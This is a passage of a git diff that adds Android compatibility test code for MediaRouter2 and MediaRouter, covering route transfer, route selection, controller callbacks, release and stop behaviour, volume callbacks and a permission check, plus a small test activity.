+        sampleRouteType.add(FEATURE_SAMPLE);
+
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        final CountDownLatch successLatch = new CountDownLatch(1);
+        final CountDownLatch failureLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                controllers.add(newController);
+                successLatch.countDown();
+            }
+
+            @Override
+            public void onTransferFailure(MediaRoute2Info requestedRoute) {
+                failureLatch.countDown();
+            }
+        };
+
+        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
+
+        try {
+            mRouter2.registerTransferCallback(mExecutor, transferCallback);
+            mRouter2.transferTo(route);
+
+            // Unregisters transfer callback
+            mRouter2.unregisterTransferCallback(transferCallback);
+
+            // No transfer callback methods should be called.
+            assertFalse(successLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mRouter2.unregisterRouteCallback(routeCallback);
+            mRouter2.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    // TODO: Add tests for illegal inputs if needed (e.g. selecting already selected route)
+    @Test
+    public void testRoutingControllerSelectAndDeselectRoute() throws Exception {
+        final List<String> sampleRouteType = new ArrayList<>();
+        sampleRouteType.add(FEATURE_SAMPLE);
+
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
+        MediaRoute2Info routeToBegin = routes.get(ROUTE_ID1);
+        assertNotNull(routeToBegin);
+
+        final CountDownLatch onTransferLatch = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatchForSelect = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatchForDeselect = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+
+        // Create session with ROUTE_ID1
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mRouter2.getSystemController(), oldController);
+                assertTrue(getOriginalRouteIds(newController.getSelectedRoutes()).contains(
+                        ROUTE_ID1));
+                controllers.add(newController);
+                onTransferLatch.countDown();
+            }
+        };
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+
+                if (onControllerUpdatedLatchForSelect.getCount() != 0) {
+                    assertEquals(2, controller.getSelectedRoutes().size());
+                    assertTrue(getOriginalRouteIds(controller.getSelectedRoutes())
+                            .contains(ROUTE_ID1));
+                    assertTrue(getOriginalRouteIds(controller.getSelectedRoutes())
+                            .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+                    assertFalse(getOriginalRouteIds(controller.getSelectableRoutes())
+                            .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+                    assertTrue(getOriginalRouteIds(controller.getDeselectableRoutes())
+                            .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+
+                    onControllerUpdatedLatchForSelect.countDown();
+                } else {
+                    assertEquals(1, controller.getSelectedRoutes().size());
+                    assertTrue(getOriginalRouteIds(controller.getSelectedRoutes())
+                            .contains(ROUTE_ID1));
+                    assertFalse(getOriginalRouteIds(controller.getSelectedRoutes())
+                            .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+                    assertTrue(getOriginalRouteIds(controller.getSelectableRoutes())
+                            .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+                    assertFalse(getOriginalRouteIds(controller.getDeselectableRoutes())
+                            .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+
+                    onControllerUpdatedLatchForDeselect.countDown();
+                }
+            }
+        };
+
+
+        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
+
+        try {
+            mRouter2.registerTransferCallback(mExecutor, transferCallback);
+            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
+            mRouter2.transferTo(routeToBegin);
+            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertEquals(1, controllers.size());
+            RoutingController controller = controllers.get(0);
+            assertTrue(getOriginalRouteIds(controller.getSelectableRoutes())
+                    .contains(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+
+            // Select ROUTE_ID4_TO_SELECT_AND_DESELECT
+            MediaRoute2Info routeToSelectAndDeselect = routes.get(
+                    ROUTE_ID4_TO_SELECT_AND_DESELECT);
+            assertNotNull(routeToSelectAndDeselect);
+
+            controller.selectRoute(routeToSelectAndDeselect);
+            assertTrue(onControllerUpdatedLatchForSelect.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            controller.deselectRoute(routeToSelectAndDeselect);
+            assertTrue(onControllerUpdatedLatchForDeselect.await(
+                    TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mRouter2.unregisterRouteCallback(routeCallback);
+            mRouter2.unregisterTransferCallback(transferCallback);
+            mRouter2.unregisterControllerCallback(controllerCallback);
+        }
+    }
+
+    @Test
+    public void testRoutingControllerTransferToRoute() throws Exception {
+        final List<String> sampleRouteType = new ArrayList<>();
+        sampleRouteType.add(FEATURE_SAMPLE);
+
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
+        MediaRoute2Info routeToBegin = routes.get(ROUTE_ID1);
+        assertNotNull(routeToBegin);
+
+        final CountDownLatch onTransferLatch = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with ROUTE_ID1
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mRouter2.getSystemController(), oldController);
+                assertTrue(getOriginalRouteIds(newController.getSelectedRoutes()).contains(
+                        ROUTE_ID1));
+                controllers.add(newController);
+                onTransferLatch.countDown();
+            }
+        };
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                assertEquals(1, controller.getSelectedRoutes().size());
+                assertFalse(getOriginalRouteIds(controller.getSelectedRoutes()).contains(
+                        ROUTE_ID1));
+                assertTrue(getOriginalRouteIds(controller.getSelectedRoutes())
+                        .contains(ROUTE_ID5_TO_TRANSFER_TO));
+                onControllerUpdatedLatch.countDown();
+            }
+        };
+
+        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
+
+        try {
+            mRouter2.registerTransferCallback(mExecutor, transferCallback);
+            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
+            mRouter2.transferTo(routeToBegin);
+            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertEquals(1, controllers.size());
+            RoutingController controller = controllers.get(0);
+
+            // Transfer to ROUTE_ID5_TO_TRANSFER_TO
+            MediaRoute2Info routeToTransferTo = routes.get(ROUTE_ID5_TO_TRANSFER_TO);
+            assertNotNull(routeToTransferTo);
+
+            mRouter2.transferTo(routeToTransferTo);
+            assertTrue(onControllerUpdatedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mRouter2.unregisterRouteCallback(routeCallback);
+            mRouter2.unregisterControllerCallback(controllerCallback);
+            mRouter2.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testControllerCallbackUnregister() throws Exception {
+        final List<String> sampleRouteType = new ArrayList<>();
+        sampleRouteType.add(FEATURE_SAMPLE);
+
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
+        MediaRoute2Info routeToBegin = routes.get(ROUTE_ID1);
+        assertNotNull(routeToBegin);
+
+        final CountDownLatch onTransferLatch = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with ROUTE_ID1
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mRouter2.getSystemController(), oldController);
+                assertTrue(getOriginalRouteIds(newController.getSelectedRoutes()).contains(
+                        ROUTE_ID1));
+                controllers.add(newController);
+                onTransferLatch.countDown();
+            }
+        };
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                assertEquals(1, controller.getSelectedRoutes().size());
+                assertFalse(getOriginalRouteIds(controller.getSelectedRoutes()).contains(
+                        ROUTE_ID1));
+                assertTrue(getOriginalRouteIds(controller.getSelectedRoutes())
+                        .contains(ROUTE_ID5_TO_TRANSFER_TO));
+                onControllerUpdatedLatch.countDown();
+            }
+        };
+
+        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
+
+        try {
+            mRouter2.registerTransferCallback(mExecutor, transferCallback);
+            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
+            mRouter2.transferTo(routeToBegin);
+            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertEquals(1, controllers.size());
+
+            // Transfer to ROUTE_ID5_TO_TRANSFER_TO
+            MediaRoute2Info routeToTransferTo = routes.get(ROUTE_ID5_TO_TRANSFER_TO);
+            assertNotNull(routeToTransferTo);
+
+            mRouter2.unregisterControllerCallback(controllerCallback);
+            mRouter2.transferTo(routeToTransferTo);
+            assertFalse(onControllerUpdatedLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mRouter2.unregisterRouteCallback(routeCallback);
+            mRouter2.unregisterControllerCallback(controllerCallback);
+            mRouter2.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    // TODO: Add tests for onStop() when provider releases the session.
+    @Test
+    public void testStop() throws Exception {
+        final List<String> sampleRouteType = new ArrayList<>();
+        sampleRouteType.add(FEATURE_SAMPLE);
+
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
+        MediaRoute2Info routeTransferFrom = routes.get(ROUTE_ID1);
+        assertNotNull(routeTransferFrom);
+
+        final CountDownLatch onTransferLatch = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
+        final CountDownLatch onStopLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mRouter2.getSystemController(), oldController);
+                assertTrue(getOriginalRouteIds(newController.getSelectedRoutes()).contains(
+                        ROUTE_ID1));
+                controllers.add(newController);
+                onTransferLatch.countDown();
+            }
+            @Override
+            public void onStop(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(
+                        controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                onStopLatch.countDown();
+            }
+        };
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                onControllerUpdatedLatch.countDown();
+            }
+        };
+
+        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
+
+        try {
+            mRouter2.registerTransferCallback(mExecutor, transferCallback);
+            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
+            mRouter2.transferTo(routeTransferFrom);
+            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertEquals(1, controllers.size());
+            RoutingController controller = controllers.get(0);
+
+            mRouter2.stop();
+
+            // Select ROUTE_ID5_TO_TRANSFER_TO
+            MediaRoute2Info routeToSelect = routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT);
+            assertNotNull(routeToSelect);
+
+            // This call should be ignored.
+            // The onSessionInfoChanged() shouldn't be called.
+            controller.selectRoute(routeToSelect);
+            assertFalse(onControllerUpdatedLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+
+            // onStop should be called.
+            assertTrue(onStopLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mRouter2.unregisterRouteCallback(routeCallback);
+            mRouter2.unregisterControllerCallback(controllerCallback);
+            mRouter2.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testRoutingControllerRelease() throws Exception {
+        final List<String> sampleRouteType = new ArrayList<>();
+        sampleRouteType.add(FEATURE_SAMPLE);
+
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
+        MediaRoute2Info routeTransferFrom = routes.get(ROUTE_ID1);
+        assertNotNull(routeTransferFrom);
+
+        final CountDownLatch onTransferLatch = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
+        final CountDownLatch onStopLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mRouter2.getSystemController(), oldController);
+                assertTrue(getOriginalRouteIds(newController.getSelectedRoutes()).contains(
+                        ROUTE_ID1));
+                controllers.add(newController);
+                onTransferLatch.countDown();
+            }
+            @Override
+            public void onStop(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(
+                                controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                onStopLatch.countDown();
+            }
+        };
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                onControllerUpdatedLatch.countDown();
+            }
+        };
+
+       // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
+
+        try {
+            mRouter2.registerTransferCallback(mExecutor, transferCallback);
+            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
+            mRouter2.transferTo(routeTransferFrom);
+            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertEquals(1, controllers.size());
+            RoutingController controller = controllers.get(0);
+
+            // Release controller. Future calls should be ignored.
+            controller.release();
+
+            // Select ROUTE_ID5_TO_TRANSFER_TO
+            MediaRoute2Info routeToSelect = routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT);
+            assertNotNull(routeToSelect);
+
+            // This call should be ignored.
+            // The onSessionInfoChanged() shouldn't be called.
+            controller.selectRoute(routeToSelect);
+            assertFalse(onControllerUpdatedLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+
+            // onStop should be called.
+            assertTrue(onStopLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mRouter2.unregisterRouteCallback(routeCallback);
+            mRouter2.unregisterControllerCallback(controllerCallback);
+            mRouter2.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    // TODO: Consider adding tests with bluetooth connection/disconnection.
+    @Test
+    public void testGetSystemController() {
+        final RoutingController systemController = mRouter2.getSystemController();
+        assertNotNull(systemController);
+        assertFalse(systemController.isReleased());
+
+        for (MediaRoute2Info route : systemController.getSelectedRoutes()) {
+            assertTrue(route.isSystemRoute());
+        }
+    }
+
+    @Test
+    public void testGetControllers() {
+        List<RoutingController> controllers = mRouter2.getControllers();
+        assertNotNull(controllers);
+        assertFalse(controllers.isEmpty());
+        assertSame(mRouter2.getSystemController(), controllers.get(0));
+    }
+
+    @Test
+    public void testGetController() {
+        String systemControllerId = mRouter2.getSystemController().getId();
+        RoutingController controllerById = mRouter2.getController(systemControllerId);
+        assertNotNull(controllerById);
+        assertEquals(systemControllerId, controllerById.getId());
+    }
+
+    @Test
+    public void testVolumeHandlingWhenVolumeFixed() {
+        if (!mAudioManager.isVolumeFixed()) {
+            return;
+        }
+        MediaRoute2Info selectedSystemRoute =
+                mRouter2.getSystemController().getSelectedRoutes().get(0);
+        assertEquals(MediaRoute2Info.PLAYBACK_VOLUME_FIXED,
+                selectedSystemRoute.getVolumeHandling());
+    }
+
+    @Test
+    public void testCallbacksAreCalledWhenVolumeChanged() throws Exception {
+        if (mAudioManager.isVolumeFixed()) {
+            return;
+        }
+
+        final int maxVolume = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
+        final int minVolume = mAudioManager.getStreamMinVolume(AudioManager.STREAM_MUSIC);
+        final int originalVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+
+        MediaRoute2Info selectedSystemRoute =
+                mRouter2.getSystemController().getSelectedRoutes().get(0);
+
+        assertEquals(maxVolume, selectedSystemRoute.getVolumeMax());
+        assertEquals(originalVolume, selectedSystemRoute.getVolume());
+        assertEquals(PLAYBACK_VOLUME_VARIABLE,
+                selectedSystemRoute.getVolumeHandling());
+
+        final int targetVolume = originalVolume == minVolume
+                ? originalVolume + 1 : originalVolume - 1;
+        final CountDownLatch latch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesChanged(List<MediaRoute2Info> routes) {
+                for (MediaRoute2Info route : routes) {
+                    if (route.getId().equals(selectedSystemRoute.getId())
+                            && route.getVolume() == targetVolume) {
+                        latch.countDown();
+                        break;
+                    }
+                }
+            }
+        };
+
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, LIVE_AUDIO_DISCOVERY_PREFERENCE);
+
+        try {
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, targetVolume, 0);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            mRouter2.unregisterRouteCallback(routeCallback);
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, originalVolume, 0);
+        }
+    }
+
+    @Test
+    public void testGettingSystemMediaRouter2WithoutPermissionThrowsSecurityException() {
+        // Make sure that the permission is not given.
+        assertNotEquals(PackageManager.PERMISSION_GRANTED,
+                mContext.checkSelfPermission(Manifest.permission.MEDIA_CONTENT_CONTROL));
+
+        assertThrows(SecurityException.class,
+                () -> MediaRouter2.getInstance(mContext, mContext.getPackageName()));
+    }
+
+    @Test
+    public void markCallbacksAsTested() {
+        // Due to CTS coverage tool's bug, it doesn't count the callback methods as tested even if
+        // we have tests for them. This method just directly calls those methods so that the tool
+        // can recognize the callback methods as tested.
+
+        RouteCallback routeCallback = new RouteCallback() {};
+        routeCallback.onRoutesAdded(null);
+        routeCallback.onRoutesChanged(null);
+        routeCallback.onRoutesRemoved(null);
+
+        TransferCallback transferCallback = new TransferCallback() {};
+        transferCallback.onTransfer(null, null);
+        transferCallback.onTransferFailure(null);
+
+        ControllerCallback controllerCallback = new ControllerCallback() {};
+        controllerCallback.onControllerUpdated(null);
+
+        OnGetControllerHintsListener listener = route -> null;
+        listener.onGetControllerHints(null);
+    }
+
+    // Helper for getting routes easily. Uses original ID as a key
+    private static Map<String, MediaRoute2Info> createRouteMap(List<MediaRoute2Info> routes) {
+        Map<String, MediaRoute2Info> routeMap = new HashMap<>();
+        for (MediaRoute2Info route : routes) {
+            routeMap.put(route.getOriginalId(), route);
+        }
+        return routeMap;
+    }
+
+    private Map<String, MediaRoute2Info> waitAndGetRoutes(List<String> routeTypes)
+            throws Exception {
+        CountDownLatch latch = new CountDownLatch(1);
+
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesAdded(List<MediaRoute2Info> routes) {
+                for (MediaRoute2Info route : routes) {
+                    if (!route.isSystemRoute()) {
+                        latch.countDown();
+                    }
+                }
+            }
+        };
+
+        mRouter2.registerRouteCallback(mExecutor, routeCallback,
+                new RouteDiscoveryPreference.Builder(routeTypes, true).build());
+        try {
+            latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            return createRouteMap(mRouter2.getRoutes());
+        } finally {
+            mRouter2.unregisterRouteCallback(routeCallback);
+        }
+    }
+
+    static void releaseControllers(@NonNull List<RoutingController> controllers) {
+        for (RoutingController controller : controllers) {
+            controller.release();
+        }
+    }
+
+    /**
+     * Returns a list of original route IDs of the given route list.
+     */
+    private List<String> getOriginalRouteIds(@NonNull List<MediaRoute2Info> routes) {
+        List<String> result = new ArrayList<>();
+        for (MediaRoute2Info route : routes) {
+            result.add(route.getOriginalId());
+        }
+        return result;
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaRouter2TestActivity.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaRouter2TestActivity.java
new file mode 100644
index 0000000..76eb1c9
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaRouter2TestActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+import androidx.test.core.app.ActivityScenario;
+
+public class MediaRouter2TestActivity extends Activity {
+
+    private static ActivityScenario<MediaRouter2TestActivity> sActivityScenario;
+
+    public static ActivityScenario<MediaRouter2TestActivity> startActivity(Context context) {
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClass(context, MediaRouter2TestActivity.class);
+        sActivityScenario = ActivityScenario.launch(intent);
+        return sActivityScenario;
+    }
+
+    public static void finishActivity() {
+        if (sActivityScenario != null) {
+            // TODO: Sometimes calling this takes about 5 seconds. Need to figure out why.
+            sActivityScenario.close();
+            sActivityScenario = null;
+        }
+    }
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setTurnScreenOn(true);
+        setShowWhenLocked(true);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaRouterTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaRouterTest.java
new file mode 100644
index 0000000..aa66932
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaRouterTest.java
@@ -0,0 +1,708 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.misc.cts;
+
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.drawable.Drawable;
+import android.media.AudioManager;
+import android.media.MediaRouter;
+import android.media.MediaRouter.RouteGroup;
+import android.media.MediaRouter.RouteCategory;
+import android.media.MediaRouter.RouteInfo;
+import android.media.MediaRouter.UserRouteInfo;
+import android.media.RemoteControlClient;
+import android.media.cts.NonMediaMainlineTest;
+import android.platform.test.annotations.AppModeFull;
+import android.test.InstrumentationTestCase;
+
+import java.util.List;
+import java.util.ArrayList;
+
+/**
+ * Test {@link android.media.MediaRouter}.
+ */
+@NonMediaMainlineTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaRouterTest extends InstrumentationTestCase {
+
+    private static final int TEST_ROUTE_NAME_RESOURCE_ID = R.string.test_user_route_name;
+    private static final int TEST_CATEGORY_NAME_RESOURCE_ID = R.string.test_route_category_name;
+    private static final int TEST_ICON_RESOURCE_ID = R.drawable.single_face;
+    private static final int TEST_MAX_VOLUME = 100;
+    private static final int TEST_VOLUME = 17;
+    private static final int TEST_VOLUME_DIRECTION = -2;
+    private static final int TEST_PLAYBACK_STREAM = AudioManager.STREAM_ALARM;
+    private static final int TEST_VOLUME_HANDLING = RouteInfo.PLAYBACK_VOLUME_VARIABLE;
+    private static final int TEST_PLAYBACK_TYPE = RouteInfo.PLAYBACK_TYPE_LOCAL;
+    private static final CharSequence TEST_ROUTE_DESCRIPTION = "test_user_route_description";
+    private static final CharSequence TEST_STATUS = "test_user_route_status";
+    private static final CharSequence TEST_GROUPABLE_CATEGORY_NAME = "test_groupable_category_name";
+
+    private MediaRouter mMediaRouter;
+    private RouteCategory mTestCategory;
+    private RouteCategory mTestGroupableCategory;
+    private CharSequence mTestRouteName;
+    private Drawable mTestIconDrawable;
+    private Context mContext;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getContext();
+        mMediaRouter = (MediaRouter) mContext.getSystemService(Context.MEDIA_ROUTER_SERVICE);
+        mTestCategory = mMediaRouter.createRouteCategory(TEST_CATEGORY_NAME_RESOURCE_ID, false);
+        mTestGroupableCategory = mMediaRouter.createRouteCategory(TEST_GROUPABLE_CATEGORY_NAME,
+                true);
+        mTestRouteName = mContext.getText(TEST_ROUTE_NAME_RESOURCE_ID);
+        mTestIconDrawable = mContext.getDrawable(TEST_ICON_RESOURCE_ID);
+    }
+
+    protected void tearDown() throws Exception {
+        mMediaRouter.clearUserRoutes();
+        super.tearDown();
+    }
+
+    /**
+     * Test {@link MediaRouter#selectRoute(int, RouteInfo)}.
+     */
+    public void testSelectRoute() {
+        RouteInfo prevSelectedRoute = mMediaRouter.getSelectedRoute(
+                MediaRouter.ROUTE_TYPE_LIVE_AUDIO | MediaRouter.ROUTE_TYPE_LIVE_VIDEO
+                | MediaRouter.ROUTE_TYPE_REMOTE_DISPLAY);
+        assertNotNull(prevSelectedRoute);
+
+        UserRouteInfo userRoute = mMediaRouter.createUserRoute(mTestCategory);
+        mMediaRouter.addUserRoute(userRoute);
+        mMediaRouter.selectRoute(userRoute.getSupportedTypes(), userRoute);
+
+        RouteInfo nowSelectedRoute = mMediaRouter.getSelectedRoute(MediaRouter.ROUTE_TYPE_USER);
+        assertEquals(userRoute, nowSelectedRoute);
+        assertEquals(mTestCategory, nowSelectedRoute.getCategory());
+
+        mMediaRouter.selectRoute(prevSelectedRoute.getSupportedTypes(), prevSelectedRoute);
+    }
+
+    /**
+     * Test {@link MediaRouter#getRouteCount()}.
+     */
+    public void testGetRouteCount() {
+        final int count = mMediaRouter.getRouteCount();
+        assertTrue("By default, a media router has at least one route.", count > 0);
+
+        UserRouteInfo userRoute0 = mMediaRouter.createUserRoute(mTestCategory);
+        mMediaRouter.addUserRoute(userRoute0);
+        assertEquals(count + 1, mMediaRouter.getRouteCount());
+
+        mMediaRouter.removeUserRoute(userRoute0);
+        assertEquals(count, mMediaRouter.getRouteCount());
+
+        UserRouteInfo userRoute1 = mMediaRouter.createUserRoute(mTestCategory);
+        mMediaRouter.addUserRoute(userRoute0);
+        mMediaRouter.addUserRoute(userRoute1);
+        assertEquals(count + 2, mMediaRouter.getRouteCount());
+
+        mMediaRouter.clearUserRoutes();
+        assertEquals(count, mMediaRouter.getRouteCount());
+    }
+
+    /**
+     * Test {@link MediaRouter#getRouteAt(int)}.
+     */
+    public void testGetRouteAt() throws Exception {
+        UserRouteInfo userRoute0 = mMediaRouter.createUserRoute(mTestCategory);
+        UserRouteInfo userRoute1 = mMediaRouter.createUserRoute(mTestCategory);
+        mMediaRouter.addUserRoute(userRoute0);
+        mMediaRouter.addUserRoute(userRoute1);
+
+        int count = mMediaRouter.getRouteCount();
+        assertEquals(userRoute0, mMediaRouter.getRouteAt(count - 2));
+        assertEquals(userRoute1, mMediaRouter.getRouteAt(count - 1));
+    }
+
+    /**
+     * Test {@link MediaRouter.UserRouteInfo} with the default route.
+     */
+    public void testDefaultRouteInfo() {
+        RouteInfo route = mMediaRouter.getDefaultRoute();
+
